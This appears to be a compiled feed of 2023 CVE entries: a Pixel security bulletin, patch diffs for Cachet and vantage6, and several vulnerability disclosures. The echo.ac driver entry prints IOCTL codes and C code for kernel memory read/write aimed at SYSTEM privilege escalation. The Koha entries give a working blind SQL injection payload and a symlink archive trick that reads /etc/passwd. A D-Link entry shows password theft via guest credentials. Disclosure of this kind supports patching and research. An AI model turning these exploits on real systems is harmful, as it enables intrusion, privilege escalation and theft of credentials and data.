In TBD of TBD, there is a possible way to bypass carrier restrictions due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.



_Published October 4, 2023_

The Pixel Update Bulletin contains details of security vulnerabilities and functional improvements affecting supported Pixel devices (Google devices). For Google devices, security patch levels of 2023-10-05 or later address all issues in this bulletin and all issues in the October 2023 Android Security Bulletin. To learn how to check a device's security patch level, see Check and update your Android version.

All supported Google devices will receive an update to the 2023-10-05 patch level. We encourage all customers to accept these updates to their devices.

**Announcements**

*   In addition to the security vulnerabilities described in the October 2023 Android Security Bulletin, Google devices also contain patches for the security vulnerabilities described below.

**Security patches**

Vulnerabilities are grouped under the component that they affect. There is a description of the issue and a table with the CVE, associated references, type of vulnerability, severity, and updated Android Open Source Project (AOSP) versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Kernel components**

    

CVE

References

Type

Severity

Subcomponent

CVE-2023-3781

A-289470723\*

EoP

High

kernel

**Pixel**

    

CVE

References

Type

Severity

Subcomponent

CVE-2023-35646

A-276972140 \*

RCE

Critical

Shannon baseband

CVE-2023-35662

A-276971805 \*

RCE

Critical

Shannon baseband

CVE-2023-35649

A-276971478 \*

RCE

High

Exynos Modem

CVE-2023-40141

A-274446016 \*

EoP

High

Kernel

CVE-2023-40142

A-279767668 \*

EoP

High

oobconfig

CVE-2023-35653

A-272281209 \*

ID

High

ImsService

CVE-2023-35645

A-283787360 \*

EoP

Moderate

Edgetpu

CVE-2023-35654

A-272492131 \*

EoP

Moderate

vl53l1 driver

CVE-2023-35655

A-264509020\*

EoP

Moderate

Darwinn

CVE-2023-35660

A-239873016

EoP

Moderate

LWIS

CVE-2023-35647

A-278109661\*

ID

Moderate

Exynos RIL

CVE-2023-35648

A-286373897\*

ID

Moderate

Exynos RIL

CVE-2023-35652

A-278108845\*

ID

Moderate

Exynos RIL

CVE-2023-35656

A-286537026\*

ID

Moderate

Exynos RIL

CVE-2023-35661

A-254938063\*

ID

Moderate

Modem

CVE-2023-35663

A-286718842\*

ID

Moderate

Exynos RIL

**Qualcomm components**

   

CVE

References

Severity

Subcomponent

CVE-2022-33220

A-261492822  
QC-CR#3244590 \*

Moderate

Display

CVE-2023-21654  

A-240605080  
QC-CR#3257860 \*

Moderate

Audio

CVE-2023-21655  

A-253296923  
QC-CR#3321695 \*

Moderate

Display

CVE-2023-21663  

A-253297595  
QC-CR#3322786 \*

Moderate

Display

CVE-2023-21667  

A-271904738  
QC-CR#3306293 \*

Moderate

Bluetooth

CVE-2023-28539  

A-276762572  
QC-CR#3346739 \*

Moderate

WLAN

CVE-2023-28571  

A-245789946  
QC-CR#3357461 \*

Moderate

WLAN

**Qualcomm closed-source components**

   

CVE

References

Severity

Subcomponent

CVE-2022-40524  

A-239699972\*

Moderate

Closed-source component

CVE-2023-21636  

A-242056976\*

Moderate

Closed-source component

CVE-2023-21644  

A-242060499\*

Moderate

Closed-source component

CVE-2023-22384  

A-276762471\*

Moderate

Closed-source component

**Functional patches**

For details on the new bug fixes and functional patches included in this release, refer to the Pixel Community forum.

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

Security patch levels of 2023-10-05 or later address all issues associated with the 2023-10-05 security patch level and all previous patch levels. To learn how to check a device's security patch level, read the instructions on the Google device update schedule.

**2\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**3\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**4\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the Android bug ID in the _References_ column. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**5\. Why are security vulnerabilities split between this bulletin and the Android Security Bulletins?**

Security vulnerabilities that are documented in the Android Security Bulletins are required to declare the latest security patch level on Android devices. Additional security vulnerabilities, such as those documented in this bulletin are not required for declaring a security patch level.

**Versions**

  

Version

Date

Notes

1.0

October 4, 2023

CVE-2023-40142: Pixel Update Bulletin—October 2023

Cachet, the open-source status page system. Prior to the 2.4 branch, a template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Commit 6fb043e109d2a262ce3974e863c54e9e5f5e0587 of the 2.4 branch contains a patch for this issue.

Expand Up @@ -23,9 +23,12 @@ use CachetHQ\\Cachet\\Services\\Dates\\DateFactory; use Carbon\\Carbon; use Illuminate\\Contracts\\Auth\\Guard;  
use Twig\\Environment as Twig\_Environment; use Twig\\Loader\\ArrayLoader as Twig\_Loader\_Array;  
  
  
/\*\* \* This is the create incident command handler. \* Expand All @@ -49,6 +52,8 @@ class CreateIncidentCommandHandler \*/ protected $dates;  
protected $twigConfig;  
/\*\* \* Create a new create incident command handler instance. \* Expand All @@ -61,6 +66,8 @@ public function \_\_construct(Guard $auth, DateFactory $dates) { $this\->auth = $auth; $this\->dates = $dates;  
$this\->twigConfig = config("cachet.twig"); }  
/\*\* Expand Down Expand Up @@ -131,6 +138,34 @@ public function handle(CreateIncidentCommand $command) return $incident; }  
protected function sandboxedTwigTemplateData(String $templateData) {  
if (!$templateData) { return ""; }  
$policy = new \\Twig\\Sandbox\\SecurityPolicy($this\->twigConfig\["tags"\], $this\->twigConfig\["filters"\], $this\->twigConfig\["methods"\], $this\->twigConfig\["props"\], $this\->twigConfig\["functions"\]);  
$sandbox = new \\Twig\\Extension\\SandboxExtension($policy);  
$templateBasicLoader = new Twig\_Loader\_Array(\[ 'firstStageLoader' => $templateData \]);  
$sandBoxBasicLoader = new Twig\_Loader\_Array(\[ 'secondStageLoader' => '{% sandbox %}{% include "firstStageLoader" %} {% endsandbox %}' \]);  
$hardenedLoader = new \\Twig\\Loader\\ChainLoader(\[$templateBasicLoader, $sandBoxBasicLoader\]); $twig = new Twig\_Environment($hardenedLoader); $twig\->addExtension($sandbox); return $twig; }  
/\*\* \* Compiles an incident template into an incident message. \* Expand All @@ -141,8 +176,7 @@ public function handle(CreateIncidentCommand $command) \*/ protected function parseTemplate(IncidentTemplate $template, CreateIncidentCommand $command) { $env = new Twig\_Environment(new Twig\_Loader\_Array(\[\])); $template = $env\->createTemplate($template\->template); $template = $this\->sandboxedTwigTemplateData($template\->template);  
$vars = array\_merge($command\->template\_vars, \[ 'incident' => \[ Expand All @@ -157,7 +191,7 @@ protected function parseTemplate(IncidentTemplate $template, CreateIncidentComma 'component\_status' => $command\->component\_status, \], \]);  
return $template\->render($vars); return $template\->render('secondStageLoader', $vars); } }

CVE-2023-43661: Merge pull request from GHSA-hv79-p62r-wg3p · cachethq/cachet@6fb043e

vantage6 is privacy preserving federated learning infrastructure. When a collaboration is deleted, the linked resources (such as tasks from that collaboration) should be deleted. This is partly to manage data properly, but also to prevent a potential (but unlikely) side-effect that affects versions prior to 4.0.0, where if a collaboration with id=10 is deleted, and subsequently a new collaboration is created with id=10, the authenticated users in that collaboration could potentially see results of the deleted collaboration in some cases. Version 4.0.0 contains a patch for this issue. There are no known workarounds.

✅ roles (not available in the python client)

\>>\> client.request('role/11', method\='delete', params\={'delete\_dependents': True})
Making request: DELETE | http://localhost:5000/api/role/11 | {'delete\_dependents': True}
Starting new HTTP connection (1): localhost:5000
http://localhost:5000 "DELETE /api/role/11?delete\_dependents=True HTTP/1.1" 200 42
{'msg': 'Role removed from the database.'}

✅ task (subtasks are always deleted)

\>>\> client.request('task/8', method\='delete')
Making request: DELETE | http://localhost:5000/api/task/8 | None
Starting new HTTP connection (1): localhost:5000
http://localhost:5000 "DELETE /api/task/8 HTTP/1.1" 200 78
{'msg': 'task id=8 and its algorithm run data have been successfully deleted'}

✅ user (not available in the python client)

\>>\> client.request('user/1', method\='delete', params\={'delete\_dependents': True})
Making request: DELETE | http://localhost:5000/api/user/1 | {'delete\_dependents': True}
Starting new HTTP connection (1): localhost:5000
http://localhost:5000 "DELETE /api/user/1?delete\_dependents=True HTTP/1.1" 200 49
{'msg': 'user id=1 is removed from the database'}

✅ collaboration (not available in the python client)

\>>\> client.request('collaboration/1', method\='delete', params\={'delete\_dependents': True})
Making request: DELETE | http://localhost:5000/api/collaboration/1 | {'delete\_dependents': True}
Starting new HTTP connection (1): localhost:5000
http://localhost:5000 "DELETE /api/collaboration/1?delete\_dependents=True HTTP/1.1" 200 50
{'msg': 'Collaboration id=1 successfully deleted'}

CVE-2023-41881: Add flag whether linked resources should be deleted in delete endpoin… by bartvanb · Pull Request #748 · vantage6/vantage6

An issue in Inspect Element Ltd Echo.ac v.5.2.1.0 allows a local attacker to gain privileges via a crafted command to the echo_driver.sys component.

CVE-2023-38817 - A vulnerability in a gaping security hole of a driver allows an attacker to attain nt authority\\system privileges via a Privilege Escalation attack.

A Proof of Concept abusing this exploit to attain Privilege Escalation on a Local machine.

Logo by my good friend and co-credited discoverer of this vulnerability, Zach.

PoC source code can be found here: https://github.com/kite03/echoac-poc.

**CVE Info**

*   Number: CVE-2023-38817
*   Vendor: Inspect Element Ltd (13017981), trading as Echo.
*   Affected Products: echo.ac AntiCheat scanner tool.
*   Affected Versions: echo.ac - <5.2.1.0, echo\_driver.sys - All shipped versions.
*   Affected operating systems: 64Bit versions of Windows from; Windows 7 to Windows 11.
*   Mitigation: Do not use the software, and add driver signatures to blacklist.

**Credits**

*   Protocol (Whanos): GitHub Link - Initial discovery, first contact with echo.ac, and exploit development.
*   kite03: GitHub Link - Exploit development, and writing.
*   Lemon (Wishes to stay anonymous): - Exploit development and assistance.

**Background**

echo.ac is a commercial "screensharing tool", marketed and developed mostly for the Minecraft PvP community, but also used by some other game communities - such as Rust. A "screensharing tool" is a program developed to "assist" server admins in identifying if someone's using cheats or similar banned external tools in-game, effectively a single-run Anticheat scanner.  
As such - these programs execute numerous intrusive scans on a users computer, while being deliberately very vague of what they data collect and why.

Additionally, as these programs are for (terrible) Admins to "check if a user is cheating", they are given to the user under duress - as users will be threatened with a permanent ban from the server they were playing on if they refuse.  
Furthermore, these users are usually quite young and **do not understand the issue of running random executables on their personal computer** (see the current plague of malware on Discord presently).

When this point was brought up to them, they reacted aggressively and attacked us for criticising this practice. We think that it is unfair that users can be banned for not wanting to run this invasive software.

I (Whanos/protocol) also attempted to disclose this exploit to the CEO in private before disclosing it publicly - to allow ample time for the developers to patch it, but they brushed me off, saying that it's not a bug - and then banning me from their discord server.

Our interactions with echo are documented in this blog post, after the bug

Thanks for reading!

**The Bug**

echo-free.exe - their client app, deploys a Kernel driver named echo_driver.sys to a newly generated folder in %TEMP%. This driver appears to be used mostly to scan and copy target processes memory so it can be analysed later to "check for cheats" (glorified string-searching tool...)

Unfortunately, this gaping security hole of a driver has no access controls on what programs can access it, making it trivial to abuse for all manners of exploits on the system.

Simply by using the following series of IOCTL codes, a local attacker can control the driver to Read and Write memory on the system. We abuse this in our PoC to read the Kernel's EPROCESS/KPROCESS block in memory, and then perform Access Token Theft using the driver - copying it into a newly spawned shell of ours, which immediately escalates it's privileges to nt authority\system (Highest system permissions).

Uh oh.

**The Attack**

*   Firstly, create the service and start the driver using sc create EchoDrv binpath=C:\PathToDriver.sys type= kernel && sc start EchoDrv .
*   Next, get a handle to the driver, which uses device path \\\\.\\EchoDrv.
*   Now execute IOCTL code 0x9e6a0594 to bypass an internal check - shown later.

    // Yes, this buffer seems useless - but without it the driver BSOD's the PC.
    // Create a buffer to store useless data (we don't care about it)
    void* buf = (void*)malloc(4096);
    
    // Call IOCTL that sets the internal PID variable and gets past the DWORD check
    // 0x9e6a0594 - IOCTL Code
    DeviceIoControl(hDevice, 0x9e6a0594, NULL, NULL, buf, 4096, NULL, NULL);

Code Example

*   Set the PID to the exploiting program by using IOCTL code 0xe6224248, this returns a HANDLE to your provided PID.

    // The data struct the driver is expecting
    struct k_get_handle {
        DWORD pid;
        ACCESS_MASK access;
        HANDLE handle;
    };
    
    k_get_handle param{};
    // Set the PID and access we want.
    param.pid = GetCurrentProcessId();
    param.access = GENERIC_ALL;
    // Call the driver
    DeviceIoControl(hDevice, 0xe6224248, &param, sizeof(param), &param, sizeof(param), NULL, NULL);
    
    // Return the HANDLE. We'll need it later in all calls.
    return param.handle;

Code Example

*   Finally - you can use IOCTL code 0x60a26124 to make the driver execute MmCopyVirtualMemory with your given arguments, allowing the arbitrary Memory Read/Write.

    // Data structure
    struct k_param_readmem {
        HANDLE targetProcess;
        void* fromAddress;
        void* toAddress;
        size_t length;
        void* padding;
        uint32_t returnCode;
    };
    
    // Here is a simple read memory driver we use extensively in this PoC.
    BOOL read_memory_raw(void* address, void* buf, size_t len, HANDLE targetProcess) {
     	k_param_readmem req{};
     	req.fromAddress = (void*)address;
     	req.length = len;
    	req.targetProcess = targetProcess;
     	req.toAddress = (void*)buf;
    
    	BOOL success = DeviceIoControl(hDevice, 0x60a26124, &req, sizeof(k_param_readmem), &req, sizeof(k_param_readmem), NULL, NULL);
    	return success;
    }
    
    // An example using the above function could be something like this
    
    // Get the PID of the System
    DWORD systemPID;
    Driver.read_memory_raw(
    	(void *) (PsInitialSystemProcessEPROCESS + PIDOffset),
        &systemPID,
     	sizeof(systemPID),
    	processHandle
    );

Code Example

One thing to note is that the driver does not have a "write" function, but you can simply flip the to and from address parameters to "read" your data buffer into another program just fine.

*   Stop and remove the driver from your system by executing sc stop EchoDrv && sc delete EchoDrv.

**Why This Works**

The first IOCTL calls this function, which we seems to sets the output buffer for some internal BCrypt operations we frankly do not care about. Without this call the driver does not listen our commands.

    if (IOCTLCode == 0x9e6a0594) {
    	// First, get the output address
    	BCryptOutputBuffer = *IRP->AssociatedIrp.SystemBuffer;
        // Run some BCrypt stuff and output to buffer
    	NTSTATUS status = BCryptStuff(*BCryptOutputBuffer, sizeof(BCryptOutputBuffer) + 1);
    	if (NT_SUCCESS(status)) {
          *(undefined *)(BCryptOutputBuffer + 2) = 1;
        }
        *(undefined4 *)((longlong)BCryptOutputBuffer + 0x14) = 0x1000;
      }

A simplified version of the BCrypt buffer IRP Handler.

The next IOCTL looks up the PEPROCESS data of our given process' PID and stores it internally - then returns a HANDLE which much be provided in all subsequent requests. This appears to be the driver's "Access Control" - which is frankly, awful.

    if (IOCTLCode == 0xe6224248) {
    	// Shared IRP data buffer
    	ProgramPIDStruct = *(k_get_handle)IRP->AssociatedBuffer.SystemBuffer;
    	OurProcess = NULL;
    	NTSTATUS status = PsLookupProcessByProcessId(*ProgramPIDStruct,&OurProcess);
    	if (NT_SUCCESS(status)) {
    		status = ObOpenObjectByPointer(OurProcess,0,0,ProgramPIDStruct[1]);
    		if (NT_SUCCESS(status) {
    			if (OurProcess != NULL) {
    				ObfDereferenceObject(OurProcess);
    			}
    			// Set our HANDLE in shared buffer struct
    			*(HANDLE)ProgramPIDStruct = InternalHandle;
    			// Unused
    			*(undefined *)(ProgramPIDStruct + 4) = 1;
    		}
    	}
    	// Unused
    	ProgramPIDStruct[5] = 0x1001;
    }

Set PID IRP handler.

Finally, we can use the driver's Copy Memory IOCTL to do whatever we want with memory. Our parameters are directly fed into a CopyMemory function - which basically is just a wrapper for MmCopyVirtualMemory.

    if (IOCTLCode == 0x60a26124) {
        IRPBuffer = *(HANDLE)IRP->AssociatedBuffer.SystemBuffer;
        OurProcess = NULL;
        // Check driver has access to given HANDLE
        NTSTATUS status = ObReferenceObjectByHandle( * IRPBuffer, 0, *(POBJECT_TYPE * ) PsProcessType_exref, '\0', & OurProcess,
            (POBJECT_HANDLE_INFORMATION) 0x0);
        if (NT_SUCCESS(status)) {
    		// Call CopyMemory function with our parameter
            status = CopyMemory(OurProcess, IRPBuffer[1], (PVOID * ) IRPBuffer[2], (size_t * ) IRPBuffer[3],
                (PSIZE_T)(IRPBuffer + 4));
            // NT_SUCCESS
            if (NT_SUCCESS(status) {
    			// Set Return Code
                *(IRPBuffer + 5) = 1;
            }
        }
        if (OurProcess != NULL) {
            ObfDereferenceObject(OurProcess);
        }
    	// Unused
        *(undefined4 * )((longlong) IRPBuffer + 0x2c) = 0x1002;
        UVar5 = 0x30;
        goto LAB_140001b03;
    }

The Read memory IRP handler.

    NTSTATUS CopyMemory(PEPROCESS TargetProcess, void * FromAddress, PVOID * ToAddress, size_t * BufferSize, PSIZE_T BytesCopied)
    {
        NTSTATUS status;
        PEPROCESS ToProcess;
        uint StatusCode;
    
        ToProcess = IoGetCurrentProcess();
        status = MmCopyVirtualMemory(TargetProcess, FromAddress, ToProcess, ToAddress, BufferSize, 0,
            BytesCopied);
        StatusCode = 0;
        // 0xC0000022 - STATUS_ACCESS_DENIED
        if (!NT_SUCCESS(status)) {
            StatusCode = 0xc0000022;
        }
        return (NTSTATUS)StatusCode;
    }

CopyMemory function. It's basically just a MmCopyVirtualMemory wrapper.

Specifically, **MmCopyVirtualMemory** is an undocumented Windows API function which allows a Driver to copy the Virtual memory of a given process.

Also, the function is being executed at Kernel level - indicated by parameter 0 in the call above - which isKPROCESSOR_MODE_KERNEL!

In short, this means our exploit allows direct access to a Kernel mode memory context via simple IO requests from user-mode.

As you can see, the complete lack of access control or validation causes this driver to become effectively - A "Security-Hole As A Service".

*   The driver was built on June 18th 2021, so we can presume that **all** client program versions from that point onwards are vulnerable.
*   The vulnerable driver's SHA256 hash is ea3c5569405ed02ec24298534a983bcb5de113c18bc3fd01a4dd0b5839cd17b9.
*   The vulnerable driver's MD5 hash is 187ddca26d119573223cf0a32ba55a61.

**The Uses**

There are several uses for this exploit - having Kernel level memory access to anything on the system is very dangerous and abusable!

For our example, we perform a privilege escalation attack using it.

**Privilege Escalation**

In the GitHub repository there is a working Privilege Escalation attack which allows an attacking process to make any process run with nt authority\system privileges.  
This is dangerous because this has more permissions than any other user on the system, which could be easily used by malware to cause much more damage!

The default token privileges of a process running as a regular administrator.

The default token privileges of a process running at nt authority\system - notice how many more privileges it has!

**Cheating**

Additionally, this exploit can be (and has been) extensively used for Cheating in video games - it turns out that this driver was seemingly **whitelisted** by Easy Anti Cheat (EAC) - one of the most popular commercial Anticheat providers - allowing cheaters to trivially cheat in games protected by it!

This is due to the fact that back in ~May 2022, hundreds of echo's own users were banned by EAC in series of large ban waves - due to echo's methodology of mass-memory scanning all programs on a user's computer (a really **big** no-no for all Anticheats!).

The Discord announcement made by the CEO (Josh) upon finding out about the ban waves.

Somehow, echo managed to convince EAC to unban all the users affected by this - and seemingly whitelist their driver from being detected - all the whilst not patching the arbitrary memory Read/Write exploit described above!

In fact, after speaking with some cheater developers about this - some were abusing this to cheat in games such as Rust for almost a year prior to this writeup!

Reply from "tolessthan350gt", a highly reputed user on UnknownCheats - a popular cheating forum, demonstrating a similar exploit method to the one in this writeup, allowing them to cheat in any EAC protected game mostly scot-free!

Another cheat developer discussing their usage of echo's driver exploit for cheating.

**Other Projects**

*   Program protector (PPL stripper/adder) by sam: https://www.youtube.com/watch?v=TOVb-lyBNBY

> Thank you @WindowsKernel for the great add to #LOLDrivers! This is THE read you need for the weekend!https://t.co/WB155xzo6Dhttps://t.co/601sw51Dm7 https://t.co/3Vjlp4tVoI pic.twitter.com/Js3RG54xhU
> 
> — The Haag™ (@M\_haggis) July 14, 2023

The loldrivers.io maintainer loved it :)

NTTS included it in an incredible video!

**Addendum**

Doesn't detect the most blatant cheating tool or a VM... Lol

**That's the end of the exploit writeup!**

Thank you very much for reading.

The following section documents our conversations with the echo team and CEO, for clarity.

**The Aftermath**

First and foremost: Please do **not** harass anyone mentioned in this document. While some people might've gone too far in some aspects - harassment is **not** okay. Do not stoop to that level - thanks.

**Echo and Data**

Echo.ac is pretty quiet about the data it collects and why. Their own ToS on their website and scanning app does **not** tell us _what_ data is scanned and what exactly they will do with it.

ToS archived as of writing (~29th of June 2023):

*   Website Screenshot 1: Screenshot
*   Website Screenshot 2: Screenshot

Update 15/07/2023: As requested by Josh on his alt (that he has me blocked me on already), I have removed the statement saying the in app privacy policy is the same as the website's.

Sure Josh, I can remove this part for you. Doesn't change anything else about the writeup though.

Am I really that scary Josh? You are so scared of talking to me you'd rather DDoS me and block me on your alts to talk behind my back!

There are only 2 hints we get as to the data that they collect.

First are the result pages people publicly share in their discord. An example of which can be found here.  
Not much information can really be extrapolated from here, unfortunately.  
(Screenshots, in case they delete this scan):

*   Part One
*   Part Two
*   Part Three

Second, the policy that they publish.  
This policy is supposed to provide some transparency as to what data echo collects. It is assumed that, for ethical reasons if nothing else - a rough outline to the methods used to collect data are stated. Unfortunately, this policy is not trustworthy.  
This is because Echo has changed is policy regarding what they collect after the following interactions.  
Note that they still collect this data, they just don't tell their users anymore.  
They aren't being open as to what information they collect, and are clearly happy to hide things from their policy if it helps them evade criticism!

Consider the following tweet.

A very wise thing to ask!

**Since Bulbasaur's tweet was posted, they removed the line in their website about storing the memory of processes on the computer, but yet they still do it!**

After that tweet, they updated their "What do we log" FAQ:

Notice the omission of the sentence about them logging Process Memory!

How shady.

On the 24th of May 2023, I (protocol/Whanos) published a tweet to my personal Twitter account (@WindowsKernel) - sharing my concerns with Echo.AC, as well as sharing a tria.ge link, which reported suspicious behaviour from the Echo.AC client.

> please do not run random “screensharing tools” cause a Minecraft server admin wants to check if ur cheating 💀💀💀
> 
> specifically talking about @echodotac , a “screensharing tool” that scans your computer to “detect cheats”. Why would a scanning tool need to load a kernel driver? pic.twitter.com/5tAc31GsYE
> 
> — i am eating your IOCTLs (@WindowsKernel) May 24, 2023

My tweet. Archived screenshot: https://cdn.gls.cx/5c91602e6d41fec2

My tweet - albeit being a bit debatably sensationalised - didn't contain anything untrue, and was more of a general warning to not execute applications random server Admins want you to run on your PC.

At the time, my tweet only had interactions from my own followers - as I mostly post about cybersecurity to a relatively small audience.  
However - shortly after it was posted, the CEO of the company behind Echo.AC - Josh, and some developers and associates of Echo.AC responded with what could frankly only be described as hate-mail and bullying.

Most of these replies are still viewable on the original tweet, but as a precaution I screenshotted them for posterity.

Firstly, I received this DM from Josh, the CEO.

Honestly a pretty childish thing to receive from the legal CEO of a registered company.

I also received a frankly asinine amount of hate-mail replies from users that **never followed me beforehand!**, meaning that they were sent to my tweet by other users.

This user develops his own tool, similar to echo.ac.

Blatant lies from a developer for echo.

Sure buddy.

This account was inactive for years, and made its first replies ever to me. Totally not a developer's alt!

This user owns his own tool, similar to echo. Also, I think I know more about the Kernel than you, thanks!

One of them even called me the r-slur (Censored here). Great.

This account was inactive since 2018, till my tweet was posted. Totally not an alt!

At least Twitter support worked decently fast.

A screenshot of some of the users that are on their staff team and community support team, so you can compare names easier.

After this, I was blocked by the company's official Twitter account. Great response!

Whatever will I do!

**The Disclosure Attempt**

Steeled by this insane series of interactions, my friends and I (credited at the top) started digging into their driver to look for vulnerabilities.  
Unsurprisingly, it was trivial to discover the exploit, considering the visible lack of Kernel driver knowledge. It's basically just a copy-pasted Cheat Driver.

After we found the bug, we started preparing this writeup - and in the meantime I wanted to responsibly let the CEO know about the bug, so they can fix it before we release the writeup.  
Shockingly, they brushed it off as it not being an vulnerability, and passive-aggressively mocked me, before banning me. Lovely!

My conversation with the CEO follows, dated the 29th of June, 2023.

//WONTFIX Security-Hole As A Service

How do you not know about CVEs as an Anticheat company's CEO?

It's still your code buddy.

At this point I honestly gave up. He evidently doesn't care.

A screenshot of his profile, for context.

After this, I was banned from their Discord for the crime of attempting to responsibly report a vulnerability... lol?

Awesome damage control!

Overall, this entire situation is **very** damaging to your reputation.  
How would your users feel if they realise that actual real issues in _your_ own product is met with abuse and ignorance? - you should know better, Josh, especially as you are the **CEO** of an Anticheat company - which **requires the trust of your users** to exist!

**Fin - Thanks for reading!**

Contact me here.

Have a great day Josh.

CVE-2023-38817: EchOh-No! a Vulnerability and PoC demonstration in a popular Minecraft AntiCheat tool.

SQL Injection vulnerability in Koha Library Software 23.0.5.04 and before allows a remote attacker to obtain sensitive information via the intranet/cgi bin/cataloging/ysearch.pl. component.

**CVE-2023-44961**

PoC for CVE-2023-44961

**Description**

This is a SQL Injection vulnerability in Koha Library Software v.23.0.5.04 and before version which allows a remote attacker to obtain arbitrary data from the koha sql server.

**Analysis**

This vulnerability appears in the intranet/cgi bin/cataloging/ysearch.pl file of the intranet interface:

...
my $query = $input\->param('term');
my $table = $input\->param('table');
my $field = $input\->param('field');

# Prevent from disclosing data
die() unless ($table eq "biblioitems"); 

...

my $dbh = C4::Context\->dbh;
my $sql = qq(SELECT distinct $field
             FROM $table 
             WHERE $field LIKE ? OR $field LIKE ? or $field LIKE ?);
$sql .= qq( ORDER BY $field);
my $sth = $dbh\->prepare($sql);
$sth\->execute("$query%", "% $query%", "%-$query%");
...

When concatenating SQL statements with the $sql variable in the code, keyword filtering was not performed. We can achieve time-based SQL blind injection by injecting the following payload:

    $field = 1 and if((substr(database(),1,1)='k'), sleep(1), sleep(0))
    

The sql command after concatenation is:

SELECT distinct 1 and IF((SUBSTR(database(),1,1)\='k'),sleep(1),sleep(0)) FROM biblioitems WHERE 1 and IF((SUBSTR(database(),1,1)\='k'),sleep(1),sleep(0)) LIKE "" OR 1 and IF((SUBSTR(database(),1,1)\='k'),sleep(1),sleep(0)) LIKE "" or 1 and IF((SUBSTR(database(),1,1)\='k'),sleep(1),sleep(0)) LIKE "" ORDER BY 1 and IF((SUBSTR(database(),1,1)\='k'),sleep(1),sleep(0))

Since SELECT distinct $field FROM $table  WHERE $field LIKE ? OR $field LIKE ? or $field LIKE ? is used to return the values of all the $field fields in the $table that meet one of the three LIKE conditions, it will traverse each row of data in the $table.

Therefore, if you want to reduce the sleep time, set the sleep time to 1/n (n represents the number of rows of data in the $table), that is, sleep (1/n).

**PoC**

To trigger the SQL injection vulnerability here, first ensure that there is data in the biblioitems table. We can add data through the following URL:

    http://koha_ip:intranet_port/cgi-bin/koha/cataloguing/addbiblio.pl
    

I have added a piece of data here:

Test our SQL statements on the command line:

It can be seen that in the biblioitems table, with one piece of data, the sleep is set to 1 second, and the actual sleep time is 3 seconds.

Following this approach, a PoC can be constructed for testing:

Access the following url to trigger:

    http://koha_ip:intranet_port/cgi-bin/koha/cataloguing/ysearch.pl
    

As shown in the figure my database name is koha_mykoha.

CVE-2023-44961: GitHub - ggb0n/CVE-2023-44961: PoC for CVE-2023-44961

File Upload vulnerability in Koha Library Software 23.05.04 and before allows a remote attacker to read arbitrary files via the upload-cover-image.pl component.

**CVE-2023-44962**

PoC for CVE-2023-44962

**Description**

This is a Arbitrary File Read Vulnerability in Koha Library Software v.23.05.04 and before which allows a remote attacker to read arbitrary files from koha server.

**Analysis**

Uploading archive files containing symbolic links in upload-cover-image.pl can leak some of the content of the linked files.

...
foreach my $dir (@directories) {
  my $file;
  if ( \-e "$dir/idlink.txt" ) {
      $file = "$dir/idlink.txt";
  }
  elsif ( \-e "$dir/datalink.txt" ) {
      $file = "$dir/datalink.txt";
  }
  else {
      next;
  }
  if ( open( my $fh, '<', $file ) ) {
      while ( my $line = <$fh\> ) {
          my $delim =
              ( $line =~ /\\t/ ) ? "\\t"
            : ( $line =~ /,/ )  ? ","
            :                     "";

          unless ( $delim eq "," || $delim eq "\\t" ) {
              warn
  "Unrecognized or missing field delimeter. Please verify that you are using either a ',' or a 'tab'";
              $error = 'DELERR';
          }
          else {
              ( $biblionumber, $filename ) = split $delim, $line, 2;
              $biblionumber =~
                s/\[\\"\\r\\n\]//g;    # remove offensive characters
              $filename =~ s/\[\\"\\r\\n\]//g;
              $filename =~ s/^\\s+//;
              $filename =~ s/\\s+$//;
              if (C4::Context\->preference("CataloguingLog")) {
                  logaction('CATALOGUING', 'MODIFY', $biblionumber, "biblio cover image: $filename");
              }
...

From the code, it can be seen that when the extracted file contains idlink. txt or datalink. txt , the file content will be read and divided according to, or \t . The latter part of the content will be assigned the value of $filename , and when the CataloguingLog attribute is enabled (default is enabled), the $filename will be recorded.

When accessing viewlog.pl, you can see the leaked file content

**PoC**

First, create an archive file:

ln -s /etc/passwd datalink.txt
zip --symlinks datalink.zip datalink.txt

Then access the following URL to write datalink.zip:

    http://koha_ip:intranet_port/cgi-bin/koha/tools/upload-cover-image.pl
    

The response code is 500.

Then access the following URL to read the file content:

    http://192.168.176.139:8081/cgi-bin/koha/tools/viewlog.pl

CVE-2023-44962: GitHub - ggb0n/CVE-2023-44962: PoC for CVE-2023-44962

An issue in DLINK DPH-400SE FRU 2.2.15.8 allows a remote attacker to escalate privileges via the User Modify function in the Maintenance/Access function component.

\# DLINK DPH-400SE - Exposure of Sensitive Information to an Unauthorized Actor ### Description During a penetration testing engagement I interacted with DLINK DPH-400SE running a firmware version of \*\*FRU 2.2.15.8\*\*. It's basically a VoIP phone and the vendor is \[DLINK\](https://dlink.com) In this writeup. I explain how I was able to uncover yet another vulnerability generally a weakness of the ID 200 : \*\*\[CWE-200\](https://cwe.mitre.org/data/definitions/200.html)\*\*, This weakness allowed me to login to the web portal of the device using default guest credentials and read all the SIP authenticated user passwords as well as the administrator's password. ### POC Log in to the portal using the credentials "guest:guest" !\[\](https://hackmd.io/\_uploads/SJ4JGlUan.png) Heading to the maintenance tab, we have the access feature which has an option to modify accounts accessing the devices: !\[\](https://hackmd.io/\_uploads/ByZXGeUT2.png) !\[\](https://hackmd.io/\_uploads/ByXBflU62.png) Opening the modify settings, the guest user is able to modify the user, as well as read the password of that user since it's displayed in the input field thus, by right clicking it and clicking "reveal password" it should display the password for the user chosen to be modified by the "Guest" user. !\[\](https://hackmd.io/\_uploads/ByJozx86h.png) 